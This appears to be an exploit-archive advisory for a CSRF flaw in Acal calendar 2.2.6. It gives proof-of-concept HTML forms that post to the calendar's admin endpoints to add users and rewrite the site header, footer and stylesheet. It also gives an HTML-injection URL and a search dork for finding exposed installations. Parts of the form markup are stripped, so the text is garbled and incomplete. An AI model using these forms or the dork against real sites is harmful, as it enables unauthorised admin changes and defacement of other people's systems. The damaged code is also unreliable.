# Exploit Title: [Acal calendar 2.2.6 CSRF Vulnerability] # Date: [11-03-2012] # Author: [Number 7] # Software Link: [http://sourceforge.net/projects/acalproj/files/latest/download?source=directory] # Version: [2.2.6] # Dork: ["Calendar Admin: Edit Header and Footer"] # Tested on: [Windows,Linux] ____________________________________________________________________________ Add User
Username:
Password:
Edit/Add Header Write New Header Here.</textarea> <input type="submit" value="Submit Changes" /> Edit/Add Footer <form action="http://localhost/ACal-2.2.6/calendar/admin/edit.php?edit=footer" method="post"> <textarea cols="60" rows="14" name="footer">Write New Footer Here.</textarea> <input type="submit" value="Submit Changes" /> </form> Style Options <form method="post" action="http://localhost/ACal-2.2.6/calendar/admin/style.php?edit=style"> <textarea name="stylesheet" cols="60" rows="20"></textarea> <input type="submit" value="Edit" /> HTML INJECTION: http://localhost/ACal-2.2.6/calendar/calendar.php?year=Inject HTML Code here. ____________________________________________________________________________